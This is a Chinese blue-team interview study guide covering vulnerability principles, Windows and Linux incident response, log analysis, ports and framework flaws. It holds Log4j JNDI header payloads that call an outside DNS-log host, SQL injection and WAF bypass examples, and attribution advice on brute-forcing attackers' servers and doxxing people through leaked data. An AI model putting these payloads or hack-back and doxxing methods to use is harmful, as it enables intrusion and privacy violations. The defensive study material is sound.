2022初级蓝队面试

  1. 2022初级蓝队面试
  2. 开局话术
  3. 漏洞原理
    1. owasp
    2. sql:
      1. 预防
      2. sql绕过
      3. 宽字节注入
      4. 二次注入的原理
      5. 堆叠注入的原理
      6. updataxml报错原理
      7. sql注入常见的函数
    3. xss:
    4. csrf漏洞:
    5. 文件上传漏洞
    6. 文件包含
    7. 命令执行漏洞
    8. 反序列化漏洞(一会补充
    9. ssrf以及常见的利用协议
  4. 应急响应
    1. 基本思路
    2. windows
      1. 入侵排查
        1. 1.1检查系统账号安全(日志,注册表
        2. 1.2检查异常端口,进程
      2. 权限维持排查
        1. 2.1检查服务器是否有异常的启动项
        2. 2.2检查计划任务
        3. 2.3检查服务自启动项
      3. 查看系统相关信息
      4. 自动化查杀
      5. 日志分析
        1. 1.系统日志
        2. 2.Web访问日志
        3. 3.应用程序日志
        4. 4.Windows事件ID说明
        5. 5.工具的使用 log parser
      6. 病毒分析工具
        1. 病毒查杀
        2. 病毒动态
        3. 在线病毒扫描网站
    3. Linux
      1. 入侵排查思路
        1. 1.1账号安全
        2. 1.2历史命令
        3. 1.3检查异常端口
        4. 1.4检查异常进程
        5. 1.5检查开机启动项
        6. 1.6检查定时任务
        7. 重点关注一下目录是否存在恶意脚本
        8. 1.7检查服务
        9. 1.8检查异常文件
        10. 1.9检查系统日志
        11. 1.10 dns设置
        12. 一些常用命令
      2. 工具介绍
    4. 应急响应的案例
  5. 溯源(基本思路)
    1. 小思路
    2. 流量溯源
  6. 流量分析
  7. 常见中间件漏洞
  8. 常见端口
  9. 冰蝎的特点
  10. log4j的原理以及一些payload
  11. fastjson(content type)
  12. 最近的spring rce
  13. 挖矿病毒的处置
  14. webshell工具的流量特征
  15. shiro反序列化(cookie)
  16. 如何判断攻击成功
  17. 扫描器流量特征
  18. Redis未授权 6379
  19. 勒索病毒怎么处理
  20. 命令执行代码执行常见函数
  21. 一些安全加固
  22. weblogic
  23. linux提权
  24. windows提权
  25. mysql提权
  26. 研判
  27. 常见的框架漏洞
  28. spring的漏洞
  29. thinkphp框架漏洞
    1. rce
    2. sql注入
  30. 冰蝎内存马怎么查杀 以及其他
  31. webshell排查
  32. 反向代理的工具
  33. 数据库有哪些
  34. php危险函数
  35. 黄金白银票据
  36. linux比较重要的目录
  37. sqlmap常用命令
  38. java实现rce的函数
  39. struct2流量特征
  40. nmap常用参数
  41. nginx日志分析
  42. 文件包含漏洞协议
  43. 基线规范
    1. linux基线规范
    2. windows安全基线
    3. 中间件基线规范
  44. DDOS CC应急思路以及如何防范
  45. windows和linux的敏感文件
  46. sqlmap反制
  47. sqlmap写shell的原理
  48. 拿域控的几种方式
  49. 内网扩大战果
  50. java反序列化函数
  51. cs不出网上线的几种方法

2022初级蓝队面试

不是什么大佬,溯源不太会就给个思路

这里就准备一下我的复习资料吧

大概会分为几个模块进行复习 漏洞原理 应急响应 常见应急响应案例 溯源 前沿漏洞 中间件漏洞以及常见端口等杂项问题

以及一个开局话术

开局话术

面试官好,我是(叫)xxx ,目前在四川成都,然后目前我们学校已经结课了,我这边
确定有时间参加护网,我是从去年开始接触网安或者说 学渗透的,
前期主要在 b 站看一些培训视频,,比如小迪的那个渗透培训,后面
也报过一些,里面讲到了一些厂
商的安全产品和护网行动的内容,包括自己也加了相关的护网交流群,
所以自己对护网的一些具体岗位职责,都还是了解比较充分的;也了解
一些安全产品(深信服/绿盟态势感知,问就说,不问不说)的使用,
所以自己感觉在这次护网中可以承担蓝队初级一些内容;
平时的实战经历大多来自src的挖掘,漏洞盒子私密项目,补天专属补天私密,
以及各种企业src,类似字节跳动,ucloud,小米魅族等等都提交过有效漏洞
挖最多的基本上是xss,csrf和逻辑漏洞,出过几个逻辑漏洞的高危
差不多就这些

漏洞原理

owasp

注入、失效身份验证和会话管理、敏感信息泄露、XML外部实体注入攻击(XXE)、
存取控制中断(差不多就是未授权访问)、安全性错误配置、跨站脚本攻击(XSS)、不安全的反序列化、
使用具有已知漏洞的组件、日志记录和监控不足。

sql:

SQL注入-(SQL Injection)是一种常见的Web安全漏洞,主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的”数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱库
被删除、甚至整个服务器权限陷)。
常见注入手法: 联合查询(union) 报错注入 布尔盲注 时间注入 宽字节注入 堆叠查询 二阶注入

注入分类:

按注入点:数字,字符,搜索

按数据提交方式:get,post,cookie,http

按执行效果:布尔,时间,报错,联合,堆叠,宽字节

image-20220616172850329

预防

预编译法;
避免从前端传不必要的值;
对传入的参数进行过滤。

sql绕过

大小写混合,url编码,注释,参数污染,特殊符号绕过比如科学技术法,垃圾数据溢出

宽字节注入

字符型注入 输入:id=1
MySQL执行的语句为:select* from<表名> where id='1'
若输入:id=1' and 1=1#
MySQL执行的语句为:select* from<表名> where id='1\' and 1=1#'
这样单引号就失去了作用,无法实现闭合


在地址后先加一个%df,再加单引号,GBK编码中反斜杠的编码为%5c,而%df%5c表示繁体字“連”,所以这时单引号成功逃逸,例如:

访问1%df'#,首先进行转义并编码,为:1%df%5c%27%23,即:1連'#
代入数据库查询语句为:select* from<表名> where id='1連'
配合后面的union查询就可获得我们想要的查询结果。

二次注入的原理

二次注入原理,主要分为两步
第一步:插入恶意数据
第二步:引用恶意数据
第一步:输入参数1’,函数经过转义函数变成’,参数进入数据库存储还原为1’
第二步:将1’从数据库中取出 取出后直接给变量带入SQL ,SQL注入触发

堆叠注入的原理

mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句,就会一起执行

updataxml报错原理

updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容

所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

sql注入常见的函数

(83条消息) sql注入常见函数(附图详解)_君莫hacker的博客-CSDN博客_sql注入函数

image-20220606160636312

xss:

恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。

反射型 存储型 dom型

DOM型xss给予文档对象模型的一种漏洞。DOM是一个与平,编程语言无关的接口,它允许程序或脚本动态访问和更新文档内容,结构和样式,处理后的结果能够成为显示页面的一部分。

一些xss绕过
利用ie双反引号闭合左边双引号的特写
大小写
双写,编码,双斜杠加十六进这

csrf漏洞:

构造恶意网址借用用户cookie进行操作

文件上传漏洞

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。
绕过思路
图片马 mime %00 0x00 扩展名 .htccess文件绕过 解析漏洞 条件竞争

绕waf

字符变异(大小写,多个分号),顺序颠倒(交换name和filename的值),数据重复(filename重复),数据你出(name与filename之间插入垃圾数据,bundary字符串中加入垃圾数据),数据截断(00截断,引号截断)

image-20220616172901546

image-20220616161354087

文件包含

利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

include() require()

命令执行漏洞

system、eval和exec等函数,是该漏洞攻击成功的主要原因。

image-20220616172913149

反序列化漏洞(一会补充

一、serialize()
二、unserialize()

ssrf以及常见的利用协议

常见协议

 file http dict  gopher   常见利用就是ssrf加上redis未授权

应急响应

基本思路

收集信息:收集客户信息和中毒主机信息,包括样本
判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS 等等
抑制范围:隔离使受害⾯不继续扩⼤
深入分析:日志分析、进程分析、启动项分析、样本分析方便后期溯源
清理处置:杀掉进程,删除文件,打补丁,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生产
产出报告:整理并输出完整的安全事件报告

windows

常见的应急响应事件分类:Web 入侵:网页挂马、主页篡改、Webshell

系统入侵:病毒木马、勒索软件、远控后门

网络攻击:DDOS 攻击、DNS 劫持、ARP 欺骗

入侵排查

1.1检查系统账号安全(日志,注册表

查看服务器是否有弱口令,远程管理端口是否对公网开放(根据情况问服务器管理员

查看服务器是否存在可疑账号,新增账号(下面说怎么查看)

打开cmd
输入lusrmagr.msc命令
如果有管理员群组administrators里面的新增账号,给他删掉

查看服务器是否存在隐藏账号,克隆账号

(83条消息) Windows隐藏账户_MountainTop_cc的博客-CSDN博客_windows 查看隐藏账户

检查方法:
打开注册表,查看管理员对应的键值  打开注册表 regedit(cmd命令
使用D盾查杀

结合日志,查看管理员登录时间,用户名是否存在异常

Win+R  输入eventvwr.msc  打开事件查看器
导出Windows日志--安全  利用微软官方工具log parser进行分析

1.2检查异常端口,进程

检查端口连接情况,是否有远程连接,可疑连接

使用netstat -ano 命令查看目前的网络连接,定位可疑的ESTABLISHED
根据netstat命令定位出的PID编号 在通过taskist命令进行进程定位

进程

开始--运行--输入 msinfo32命令,一次点击“软件环境--正在运行任务”就可以查看到进程的详细信息,比如说进程的路径,进程的id,文件创建日以及启动时间
使用D盾_web查杀工具
或者说用微软官方的porcess explorer进行排查
火绒
查看可疑的进程以及子进程
   没有签名验证信息的进程
   进程的属主
   进程的路径是否合法
   cpu或内存资源占用长时间过高的进程

小技巧

image-20220606180504575

权限维持排查

2.1检查服务器是否有异常的启动项

a:登录服务器
系统启动文件夹c:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
资源管理器打开“系统启动文件夹”的命令,shell:Common Startup
用户启动文件夹:c:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
资源管理器打开“用户启动文件夹”的命令,shell:startup

b:点击开始菜单》【运行】,输入msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。

c:单击【开始】>【运行】,输入 regedit,打开注册表,查看开机启动项是否正常
三个注册表项:
• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
• HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
• HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
d:利用安全软件查看启动项,开机时间管理

2.2检查计划任务

a:单机【开始】》设置》控制面板》任务计划》查看计划任务属性,便可以发现木马文件的路径
b:cmd》输入at命令,检查计算机与网络上的其他计算机之间的绘画或计划任务,如有,则确认是否为正常连接。(或者 schtasks.exe

2.3检查服务自启动项

开始》运行》输入services.msc,注意服务状态和启动类型,检查是否有异常服务

查看系统相关信息

查看系统补丁

开始》运行》systeminfo

查找可疑目录及文件

查看用户目录 C:\Users\
开始》运行,输入`%UerProfile%\Rcent`,分析最近打开可疑文件
回收站,浏览器下载目录,浏览器历史记录
修改时间在创建时间之前的的可疑文件

找出统一时间范围内创建的文件

发现并得到 WebShell、远控木马的创建时间,如何找出同一时间范围内创建的文件?
  a:利用 [Registry Workshop](http://www.torchsoft.com/en/rw_information.html) 注册表编辑器的搜索功
能,可以找到最后写入时间区间的文件。
  b:利用计算机自带文件搜索功能,指定修改时间进行搜索

自动化查杀

病毒查杀:下载安全软件,更新最新病毒库,进行全盘扫描

webshell查杀

检查刚发:选择具体站点路径进行webshell查杀,建议使用两款webshell查杀工具同时查杀,可相互补充规则库的不足

日志分析

1.系统日志

a:前提:开启审核策略,若日后系统出现故障,安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息
b:Win+R打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器”
c:到处应用程序日志,安全日志,系统日志,利用[log parser]进行分析
下载地址:https://www.microsoft.com/en- us/download/details.aspx?id=24659

2.Web访问日志

a:找到中间件的web日志,打包到本地方便进行分析
b:推荐工具 windows:用EmEditor进行日志分析,支持大文本,搜索效率还不错
linux下,使用shell命令组合查询分析

3.应用程序日志

应用程序日志,包含由应用程序或系统程序记录的事件,主要记录程序运行方
面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人
员可以自行决定监视哪些事件。默认位置:
%SystemRoot%\System32\Winevt\Logs\Application.evtx

4.Windows事件ID说明

• 4624 登录成功
• 4625 登录失败
• 4634 注销成功
• 4647 用户启动的注销
• 4672 使用超级用户(如管理员)进行登录
• 4720 创建用户

5.工具的使用 log parser

• 基本查询结构
• Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM c:\xx.evtx" • 使用Log Parser分析日志
• 登录成功的所有事件
• LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where EventID=4624"
• 指定登录时间范围的事件:
• LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where
TimeGenerated>'2018-06-19 23:32:11' and TimeGenerated<'2018-06-20 23:34:00' and
EventID=4624"
• 提取登录成功的用户名和IP:
• LogParser.exe -i:EVT –o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as
EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as
Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:\Security.evtx where
EventID=4624"
• 登录失败的所有事件:
• LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where
EventID=4625"
• 提取登录失败用户名进行聚合统计:
• LogParser.exe -i:EVT "SELECT EXTRACT_TOKEN(Message,13,' ') as
EventType,EXTRACT_TOKEN(Message,19,' ') as
user,count(EXTRACT_TOKEN(Message,19,' ')) as
Times,EXTRACT_TOKEN(Message,39,' ') as Loginip FROM c:\Security.evtx where
EventID=4625 GROUP BY Message"
• 系统历史开关机记录:
• LogParser.exe -i:EVT –o:DATAGRID "SELECT TimeGenerated,EventID,Message
FROM c:\System.evtx where EventID=6005 or EventID=6006"

病毒分析工具

• PCHunter:http://www.xuetr.com
• 火绒剑:https://www.huorong.cn
• Process Explorer:https://docs.microsoft.com/zhcn/sysinternals/downloads/process-explorer
• processhacker:https://processhacker.sourceforge.io/downloads.php
• autoruns:
https://docs.microsoft.com/enus/sysinternals/downloads/autoruns
• OTL:https://www.bleepingcomputer.com/download/otl/
• SysInspector:
http://download.eset.com.cn/download/detail/?product=sysinspector

病毒查杀

• 卡巴斯基:http://devbuilds.kasperskylabs.com/devbuilds/KVRT/latest/full/KVRT.exe (推荐理由:绿色
版、最新病毒库)
• 大蜘蛛:http://free.drweb.ru/download+cureit+free(推荐理由:
扫描快、一次下载只能用1周,更新病毒库)
• 火绒安全软件:https://www.huorong.cn
• 360杀毒:http://sd.360.cn/download_center.html

病毒动态

• CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
• 微步在线威胁情报社区:https://x.threatbook.cn
• 火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
• 爱毒霸社区:http://bbs.duba.net
• 腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html

在线病毒扫描网站

• D盾_Web查杀:http://www.d99net.net/index.asp
• 河马 WebShell 查杀:http://www.shellpub.co

Linux

入侵排查思路

image-20220615204100713

image-20220616003137358

1.1账号安全

基本使用:

1.用户信息文件/etc/passwd

• root:x:0:0:root:/root:/bin/bash
• account:password:UID:GID:GECOS:directory:shell • 用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后的 shell • 注意:无密码只允许本机登陆,远程不允许登陆

2.影子文件/etc/shadow

•root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt. Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
• 用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留

3.和账号有关的命令

• who 查看当前登录用户(tty 本地登陆 pts 远程登录)
• w 查看系统信息,想知道某一时刻用户的行为
• uptime 查看登陆多久、多少用户,负载状态

4.账号的一些其他命令

• 1、查询特权用户特权用户(uid 为0)
• [root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
• 2、查询可以远程登录的帐号信息
• [root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
• 3、除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
• [root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)" 
• 4、禁用或删除多余及可疑的帐号
• usermod -L user 禁用帐号,帐号无法登录,/etc/shadow 第二栏为 ! 开头
• userdel user 删除 user 用户
• userdel -r user 将删除 user 用户,并且将 /home 目录下的 user 目录一并删
除

1.2历史命令

1.root用户的历史命令

history

2.进入用户目录下,导出历史命令

cat .bash_history >> history.tx

1.3检查异常端口

使用netstat网络连接命令,分析可以端口、IP、PID

netstat -antlp|more

查看pid对应的进程文件路径

运行 ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 为对应的 pid 号)

1.4检查异常进程

使用ps命令,分析进程

ps aux|grep pid
ps -ef|grep pname

1.5检查开机启动项

image-20220606215950542

• 查看运行级别命令
• runlevel
• 系统默认允许级别
• vi /etc/inittab
• id=3:initdefault #系统开机后直接进入哪个运行级别
• 开机启动配置文件
• /etc/rc.local
• /etc/rc.d/rc[0~6].d
• 说明:当我们需要开机启动自己的脚本时,只需要将可执行脚本
丢在 /etc/init.d 目录下,然后在 /etc/rc.d/rc*.d 文件中建立软链接
即可。

1.6检查定时任务

• 1、利用 crontab 创建计划任务
• 基本命令
• crontab -l 列出某个用户cron服务的详细内容
• Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如:
/var/spool/cron/root
• crontab -r 删除每个用户cront任务(谨慎:删除所有的计划任务)
• crontab -e 使用编辑器编辑当前的crontab文件
• 如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件

重点关注一下目录是否存在恶意脚本

• /var/spool/cron/*
• /etc/crontab
• /etc/cron.d/*
• /etc/cron.daily/*
• /etc/cron.hourly/*
• /etc/cron.monthly/*
• /etc/cron.weekly/
• /etc/anacrontab
• /var/spool/anacron/*

1.7检查服务

• 查询已安装的服务:
• RPM 包安装的服务
• chkconfig --list 查看服务自启动状态,可以看到所有的RPM包安装的服务
• ps aux | grep crond 查看当前服务
• 源码包安装的服务
• 查看服务安装位置 ,一般是在/user/local/
• service httpd start
• 搜索/etc/rc.d/init.d/ 查看是否存在

1.8检查异常文件

• 1、查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,
以“..”为名的文件夹具有隐藏属性
• 2、得到发现WEBSHELL、远控木马的创建时间,如何找出同一时
间范围内创建的文件?
• 可以使用find命令来查找,如 find /opt -iname "*" -atime 1 -type
f 找出 /opt 下一天前访问过的文件
• 3、针对可疑文件可以使用 stat 进行创建修改时间

1.9检查系统日志

• 日志默认存放位置:/var/log/
• 查看日志配置情况:more /etc/rsyslog.conf
日志文件 说明
/var/log/cron 记录了系统定时任务相关的日志
/var/log/cups 记录打印信息的日志
/var/log/dmesg
记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查
看内核自检信息
/var/log/mailog 记录邮件信息
/var/log/message
记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大
多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日
志文件
/var/log/btmp
记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要
使用lastb命令查看
/var/log/lastlog
记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文
件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp
永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、
关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要
使用last命令来查看
/var/log/utmp
记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不
断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而
要使用w,who,users等命令来查询
/var/log/secure
记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,
比如SSH登录,su切换用户,sudo授权,甚至添加用
• 日志分析常用命令:
• 1、定位有多少IP在爆破主机的root帐号:
• grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c| sort -nr | more
• 定位有哪些IP在爆破:
• grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0- 9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0- 9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
• 爆破用户名字典是什么?
• grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/;
print "$1\n";}'|uniq -c|sort -n
• 2、登录成功的IP有哪些:
• grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c| sort -nr | more
• 登录成功的日期、用户名、IP:
• grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
• 3、增加一个用户kali日志:
• Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali,
GID=1001
• Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali,
UID=1001, GID=1001, home=/home/kali
•, shell=/bin/bash
• Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok):
password changed for kali
• #grep "useradd" /var/log/secur
• 4、删除用户kali日志:
• Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
• Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali'
owned by
'kali'
• Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by'kali'
• # grep "userdel" 
• 5、su切换用户:
• Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session
opened for user good by root(uid=0)
• sudo授权执行:
• sudo -l
• Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ;
PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r
now

删除日志:rm log.log

1.10 dns设置

vim /etc/named.conf 打开配置文件

一些常用命令

image-20220615204521867

工具介绍

• 2.1 Rootkit查杀
• Chkrootkit
• 网址:http://www.chkrootkit.org
• Rkhunter
• 网址:http://rkhunter.sourceforge.net
• 2.2 病毒查杀
• Clamav
• 网址:http://www.clamav.net/download.html
• 2.3 webshell查杀
• Linux 版:河马 WebShell 查杀:http://www.shllpub.com

应急响应的案例

一个是之前o佬讲的

一个是白帽最前沿上面的

天眼流量哪里来?核心交换机做的端口镜像

好像是sxf的态势感知吧
首先你去了有很大可能接触态势感知,这是一个综合研判分析平台,由探针STA来进行流量接入,态势负责分析、阻断攻击,你经常涉及的模块功能有两个,一个是日志检索,一个是重保中心的实时监控

需要客户给你接入内网或vpn,给你平台地址,浏览器直接接入访问,输入账密登录;登录后,我们找到 >>分析中心-日志检索这里

 然后在日志检索这块,可以做一些规则的匹配,筛选,比如只看中高危攻击,还可以根据攻击类型进行日志筛选,这块是对接的第三方设备传入的日志流量,有可能识别的厂商安全设备,比如WAF,这个你不需要管,能看到日志就行,接下来,这个就是我们要看的内容。
 
 然后是安恒的防火墙
 在这里顺便带大家学习下如何分析,首先你看时间,如果一分钟内产生多条日志告警,那ok,把IP复制出来,去防火墙进行封禁,防火墙怎么封?啊,这,就是找到安全防护,点击添加黑名单--输入攻击IP--点击确定提交
 外国的ip直接封
 看具体的日志内容,比如网站扫描,就看它的数据包,user-agent
 最后写个表记录

溯源(基本思路)

image-20220607005009412

通过黑客ID进行信息收集:
(1) 百度信息收集:“id” (双引号为英文)
(2) 谷歌信息收集
(3) src信息收集(各大src排行榜)
(4) 微博搜索(如果发现有微博记录,可使用tg查询weibo泄露数据)
(5) 微信ID收集:微信进行ID搜索
(6) 如果获得手机号(可直接搜索支付宝、社交账户等)
注意:获取手机号如果自己查到的信息不多,直接上报工作群(利用共享渠道对其进行二次社工)
(7) 豆瓣/贴吧/知乎/脉脉 你能知道的所有社交平台,进行信息收集
(8) CSDN ID,利用CSDN老用户的一个漏洞,爆破ID手机号
溯源整个流程我认为有三个部分。 
1. 攻击源捕获。 2. 溯源信息 3. 输出攻击者画像 ···攻击源的捕获是为了获得攻击者的ip、黑客id、手机号、邮箱等信息。 ···溯源信息是为了定位黑客到具体的人。 ···输出攻击者画像是为了给这个人一个格式化的档案方便下次查找与信息存储。

image-20220615202911911

image-20220615203001610

小思路

1.红队攻击都会挂着代理,你溯源的话只能溯源到他的代理ip,没有太大的意义,如果说服务器被上了内存马的情况,可以去工具取样他内存马的ip,对内存马ip反向扫描端口,因为他们也是通过远程进去的,去爆破他们的ssh,3389和cs的密码。

2.反序列化的取样,他打shiro,里面就有他的基本设备vps,通过中间件吧这些有特征的ip收集,放到在线情报平台上识别,检测是不是有ip绑定域名的,通过whois反查他的域名注册时间、邮箱,通过社工库查他的手机号,然后通过社交软件,qq、微信、支付宝来给他转一毛钱,拼接他的个人信息。

流量溯源

1.先看日志,看攻击时间做一个审计,搜索这个时间文件上传的操作,一般是GET和POST两种,GET的话可以直接看到他请求的资源、地址和content,然后webshell该杀就杀,后门该补就补,如果是POST,那么就看不到请求的内容,可以去防火墙上下载完整数据包来分析。

流量分析

拿到流量包后将其导入wireshark中,使用过滤规则对流量包进行分析,常用的过滤规则有:
http contains "关键字"
http.response.code == 200
http.request.method == POST
tcp.prot == 80
ip.addr == "10.1.1.1"
ip.src
ip.dst

常见中间件漏洞

IIS7.5,apache,nginx,tomcat,weblogic,jboos
 2.1)IIS:

PUT漏洞
短文件名猜解
远程代码执行
解析漏洞
     2.2)Apache:

解析漏洞  x.php.jpg
目录遍历
     2.3)Nginx:

文件解析   x.jpg/.php
目录遍历 
CRLF注入
目录穿越
     2.4)Tomcat: 8080

远程代码执行
war后门文件部署
     2.5)Jboss:

反序列化漏洞
war后门文件部署
     2.6)WebLogic:7001 7002

反序列化漏洞
SSRF
任意文件上传
war后门文件部署

常见端口

数据库类(扫描弱口令)

1433:MSSQL
1521:Oracle
3306:Mysql
5432:PostgreSQL
特殊服务类(未授权/命令执行)

3389:远程连接
443:ssl 心脏滴血
873:Rsync 未授权
5984:CouchDB http://xxx:5984/_utils/
6379:Redis 未授权
7001、7002:Weblogic 默认弱口令
8088:Hadoop Yarn 资源管理系统 REST API 存在未授权
8161:Apache ActiveMQ 未授权、弱口令,put 文件上传,move 文件移动
9200、9300:elasticsearch 命令执行
11211:Memcache 未授权,telnet ip 就可以获得服务器敏感信息
27017、27018:Mongodb 未授权
50000:SAP 命令执行
50070、50030 Hadoop 未授权访问
常用端口类(弱口令/端口爆破)

21:FTP 弱口令,匿名 anonymous/空登录,以及 ms12-073
25:SMTP 简单邮件传输服务器端口
23:Telnet 的端口,Telnet 是一种可以远程登录并管理远程机器的服务
22:ssh 端口,PcAnywhere 建立 TCP 和这一端口的连接可能是为了寻找 ssh,这一服务有许多弱点
53:dns 端口
139:属于 TCP 协议,是为 NetBIOS Session Service 提供的,主要提供 Windows 文件和打印机共享以及 Unix 中的 Samba 服务
445:网络共享 smb 服务,尝试利用 ms08067,ms17010 等以及 IPC$ 攻击手段
2601、2604:zebra 路由,默认密码 zebra

冰蝎的特点

冰蝎其最大特点就是对交互流量进行AES对称加密,且加密秘钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。

log4j的原理以及一些payload

Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议,并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。
X-Client-IP: ${jndi:ldap://1644763261510dpicz.zdl7qs.ceye.io/VXBQo}
X-Remote-IP: ${jndi:ldap://1644763261510jnabe.zdl7qs.ceye.io/vl}
X-Remote-Addr: ${jndi:ldap://1644763261510xplnj.zdl7qs.ceye.io/hTE}
X-Forwarded-For: ${jndi:ldap://1644763261510lbnhl.zdl7qs.ceye.io/hvgsw}
X-Originating-IP: ${jndi:ldap://1644763261510pbhdy.zdl7qs.ceye.io/LxrC}
True-Client-IP: ${jndi:rmi://1644763261510jjchm.zdl7qs.ceye.io/FrfXm}
Originating-IP: ${jndi:rmi://1644763261510jctho.zdl7qs.ceye.io/vbP}
X-Real-IP: ${jndi:rmi://1644763261510fyvxt.zdl7qs.ceye.io/fWmjt}
Client-IP: ${jndi:rmi://1644763261510nfaoa.zdl7qs.ceye.io/mS}
X-Api-Version: ${jndi:rmi://1644763261510daeem.zdl7qs.ceye.io/IdJ}
Sec-Ch-Ua: ${jndi:dns://1644763261510wjiit.zdl7qs.ceye.io/IX}
Sec-Ch-Ua-Platform: ${jndi:dns://1644763261510dacbb.zdl7qs.ceye.io/ftA}
Sec-Fetch-Site: ${jndi:dns://1644763261510rypwe.zdl7qs.ceye.io/asWuD}
Sec-Fetch-Mode: ${jndi:dns://1644763261510osrig.zdl7qs.ceye.io/zc}
Sec-Fetch-User: ${jndi:dns://1644763261510uvfsl.zdl7qs.ceye.io/oNpOs}
Sec-Fetch-Dest: ${jndi:dns://1644763261510ptqen.zdl7qs.ceye.io/fGwFl}

image-20220611162251120

fastjson(content type)

autotype再处理json的时候,没有对@type进行安全验证,就可以传入危险的类,远程连接rmi主机,反弹shell之类的操作。

面试官:它有什么指纹特征吗?
@type,然后大部分版本???payload还有autocommit:ture

复现步骤
(1)开启环境
黑客使用payload攻击主机A(该payload需要指定rmi/ldap地址)
主机A引发反序列化漏洞,进行ldap远程方法调用,去连接主机B的9999端口。
主机B的LDAP服务指定加载主机C的恶意java类,所以主机A通过主机B的LDAP服务最终加载并执行主机C的恶意java类。
主机A执行恶意Java类,主机B获得反弹shell,控制主机A。
进入docker容器进行复现

